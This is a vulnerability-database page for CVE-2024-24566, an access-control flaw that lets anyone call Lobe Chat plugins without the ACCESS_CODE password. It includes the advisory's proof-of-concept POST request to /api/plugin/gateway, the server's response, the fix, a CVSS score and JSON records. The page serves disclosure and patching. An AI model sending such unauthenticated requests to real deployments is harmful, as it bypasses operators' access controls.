Vulnerability-Lookup

GHSA-PF55-FJ96-XF37

Vulnerability from github – Published: 2024-01-31 18:04 – Updated: 2024-01-31 20:25

Summary

@lobehub/chat vulnerable to unauthorized access to plugins

Details

Description:

When the application is password-protected (deployed with the ACCESS_CODE option), it is possible to access plugins without proper authorization (without password).

Proof-of-Concept:

Let’s suppose that application has been deployed with following command: sudo docker run -d -p 3210:3210 -e OPENAI_API_KEY=sk-[REDACTED] -e ACCESS_CODE=TEST123 --name lobe-chat lobehub/lobe-chat Due to the utilization of the ACCESS_CODE, access to the chat is possible only after entering the password:

However, it is possible to interact with chat plugins without entering the ACCESS_CODE. Example HTTP request:

POST /api/plugin/gateway HTTP/1.1
Host: localhost:3210
Content-Length: 1276

{"apiName":"checkWeatherUsingGET","arguments":"{\n  \"location\": \"London\"\n}","identifier":"WeatherGPT","type":"default","manifest":{"api":[{"description":"Get current weather information","name":"checkWeatherUsingGET","parameters":{"properties":{"location":{"type":"string"}},"required":["location"],"type":"object"}}],"homepage":"https://weathergpt.vercel.app/legal","identifier":"WeatherGPT","meta":{"avatar":"https://openai-collections.chat-plugin.lobehub.com/weather-gpt/logo.webp","description":"Get current weather information for a specific location.","title":"WeatherGPT"},"openapi":"https://openai-collections.chat-plugin.lobehub.com/weather-gpt/openapi.json","systemRole":"Use the WeatherGPT plugin to automatically fetch current weather information for a specific location when it's being generated by the ChatGPT assistant. The plugin will return weather data, including temperature, wind speed, humidity, and other relevant information, as well as a link to a page that has all the information. Links will always be returned and should be shown to the user. The weather data can be used to provide users with up-to-date and accurate weather information for their desired location.","type":"default","version":"1","settings":{"properties":{},"type":"object"}}}

HTTP response:

HTTP/1.1 200 OK
[...]
{"location":{"name":"London","region":"City of London, Greater London","country":"United Kingdom","lat":51.52,"lon":-0.11,"tz_id":"Europe/London","localtime_epoch":1706379026,"localtime":"2024-01-27 18:10"},"current":{"last_updated_epoch":1706378400,"last_updated":"2024-01-27 18:00","temp_c":6,"temp_f":42.8,"is_day":0,"condition":{"text":"Clear","icon":"//cdn.weatherapi.com/weather/64x64/night/113.png","code":1000},"wind_mph":4.3,"wind_kph":6.8,"wind_degree":170,"wind_dir":"S","pressure_mb":1031,"pressure_in":30.45,"precip_mm":0,"precip_in":0,"humidity":81,"cloud":0,"feelslike_c":3.8,"feelslike_f":38.9,"vis_km":10,"vis_miles":6,"uv":1,"gust_mph":9.5,"gust_kph":15.3},"infoLink":"https://weathergpt.vercel.app/London"}

Remediation:

Verify the ACCESS_CODE for HTTP requests to the /api/plugin/: route.

Impact:

Unauthorized access to plugins.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.122.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@lobehub/chat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.122.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-24566"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-31T18:04:55Z",
    "nvd_published_at": "2024-01-31T17:15:39Z",
    "severity": "MODERATE"
  },
  "details": "###\tDescription:\nWhen the application is password-protected (deployed with the `ACCESS_CODE` option), it is possible to access plugins without proper authorization (without password).\n###\tProof-of-Concept:\nLet\u2019s suppose that application has been deployed with following command:\n```sudo docker run -d -p 3210:3210   -e OPENAI_API_KEY=sk-[REDACTED] -e ACCESS_CODE=TEST123   --name lobe-chat   lobehub/lobe-chat```\nDue to the utilization of the `ACCESS_CODE`,  access to the chat is possible only after entering the password:\n \n![image](https://raw.githubusercontent.com/dastaj/assets/main/others/image.png)\n\n\nHowever, it is possible to interact with chat plugins without entering the `ACCESS_CODE`. \nExample HTTP request:\n```\nPOST /api/plugin/gateway HTTP/1.1\nHost: localhost:3210\nContent-Length: 1276\n\n{\"apiName\":\"checkWeatherUsingGET\",\"arguments\":\"{\\n  \\\"location\\\": \\\"London\\\"\\n}\",\"identifier\":\"WeatherGPT\",\"type\":\"default\",\"manifest\":{\"api\":[{\"description\":\"Get current weather information\",\"name\":\"checkWeatherUsingGET\",\"parameters\":{\"properties\":{\"location\":{\"type\":\"string\"}},\"required\":[\"location\"],\"type\":\"object\"}}],\"homepage\":\"https://weathergpt.vercel.app/legal\",\"identifier\":\"WeatherGPT\",\"meta\":{\"avatar\":\"https://openai-collections.chat-plugin.lobehub.com/weather-gpt/logo.webp\",\"description\":\"Get current weather information for a specific location.\",\"title\":\"WeatherGPT\"},\"openapi\":\"https://openai-collections.chat-plugin.lobehub.com/weather-gpt/openapi.json\",\"systemRole\":\"Use the WeatherGPT plugin to automatically fetch current weather information for a specific location when it\u0027s being generated by the ChatGPT assistant. The plugin will return weather data, including temperature, wind speed, humidity, and other relevant information, as well as a link to a page that has all the information. Links will always be returned and should be shown to the user. The weather data can be used to provide users with up-to-date and accurate weather information for their desired location.\",\"type\":\"default\",\"version\":\"1\",\"settings\":{\"properties\":{},\"type\":\"object\"}}}\n```\nHTTP response:\n```\nHTTP/1.1 200 OK\n[...]\n{\"location\":{\"name\":\"London\",\"region\":\"City of London, Greater London\",\"country\":\"United Kingdom\",\"lat\":51.52,\"lon\":-0.11,\"tz_id\":\"Europe/London\",\"localtime_epoch\":1706379026,\"localtime\":\"2024-01-27 18:10\"},\"current\":{\"last_updated_epoch\":1706378400,\"last_updated\":\"2024-01-27 18:00\",\"temp_c\":6,\"temp_f\":42.8,\"is_day\":0,\"condition\":{\"text\":\"Clear\",\"icon\":\"//cdn.weatherapi.com/weather/64x64/night/113.png\",\"code\":1000},\"wind_mph\":4.3,\"wind_kph\":6.8,\"wind_degree\":170,\"wind_dir\":\"S\",\"pressure_mb\":1031,\"pressure_in\":30.45,\"precip_mm\":0,\"precip_in\":0,\"humidity\":81,\"cloud\":0,\"feelslike_c\":3.8,\"feelslike_f\":38.9,\"vis_km\":10,\"vis_miles\":6,\"uv\":1,\"gust_mph\":9.5,\"gust_kph\":15.3},\"infoLink\":\"https://weathergpt.vercel.app/London\"}\n```\n###\tRemediation:\nVerify the `ACCESS_CODE` for HTTP requests to the `/api/plugin/:` route.\n\n###\tImpact:\nUnauthorized access to plugins.",
  "id": "GHSA-pf55-fj96-xf37",
  "modified": "2024-01-31T20:25:37Z",
  "published": "2024-01-31T18:04:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-pf55-fj96-xf37"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24566"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/commit/2184167f09ab68e4efa051ee984ea0c4e7c48fbd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lobehub/lobe-chat"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@lobehub/chat vulnerable to unauthorized access to plugins"
}

CVE-2024-24566 (GCVE-0-2024-24566)

Vulnerability from cvelistv5 – Published: 2024-01-31 16:33 – Updated: 2025-06-17 21:29

Title

Lobe Chat unauthorized access to plugins

Summary

Lobe Chat is a chatbot framework that supports speech synthesis, multimodal, and extensible Function Call plugin system. When the application is password-protected (deployed with the `ACCESS_CODE` option), it is possible to access plugins without proper authorization (without password). This vulnerability is patched in 0.122.4.

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2024-01-31 19:29 UTC

CWE

CWE-284 - Improper Access Control

Assigner

GitHub_M mitre root Scorecard

References

2 references

URL	Tags
https://github.com/lobehub/lobe-chat/security/adv…	x_refsource_CONFIRM
https://github.com/lobehub/lobe-chat/commit/21841…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
lobehub	lobe-chat	Affected: < 0.122.4

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-01T23:19:52.946Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-pf55-fj96-xf37",
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-pf55-fj96-xf37"
          },
          {
            "name": "https://github.com/lobehub/lobe-chat/commit/2184167f09ab68e4efa051ee984ea0c4e7c48fbd",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/lobehub/lobe-chat/commit/2184167f09ab68e4efa051ee984ea0c4e7c48fbd"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-24566",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-01-31T19:29:39.876777Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-06-17T21:29:21.984Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "lobe-chat",
          "vendor": "lobehub",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.122.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Lobe Chat is a chatbot framework that supports speech synthesis, multimodal, and extensible Function Call plugin system. When the application is password-protected (deployed with the `ACCESS_CODE` option), it is possible to access plugins without proper authorization (without password). This vulnerability is patched in 0.122.4."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-284",
              "description": "CWE-284: Improper Access Control",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-01-31T16:33:44.129Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-pf55-fj96-xf37",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-pf55-fj96-xf37"
        },
        {
          "name": "https://github.com/lobehub/lobe-chat/commit/2184167f09ab68e4efa051ee984ea0c4e7c48fbd",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/lobehub/lobe-chat/commit/2184167f09ab68e4efa051ee984ea0c4e7c48fbd"
        }
      ],
      "source": {
        "advisory": "GHSA-pf55-fj96-xf37",
        "discovery": "UNKNOWN"
      },
      "title": "Lobe Chat unauthorized access to plugins"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2024-24566",
    "datePublished": "2024-01-31T16:33:44.129Z",
    "dateReserved": "2024-01-25T15:09:40.210Z",
    "dateUpdated": "2025-06-17T21:29:21.984Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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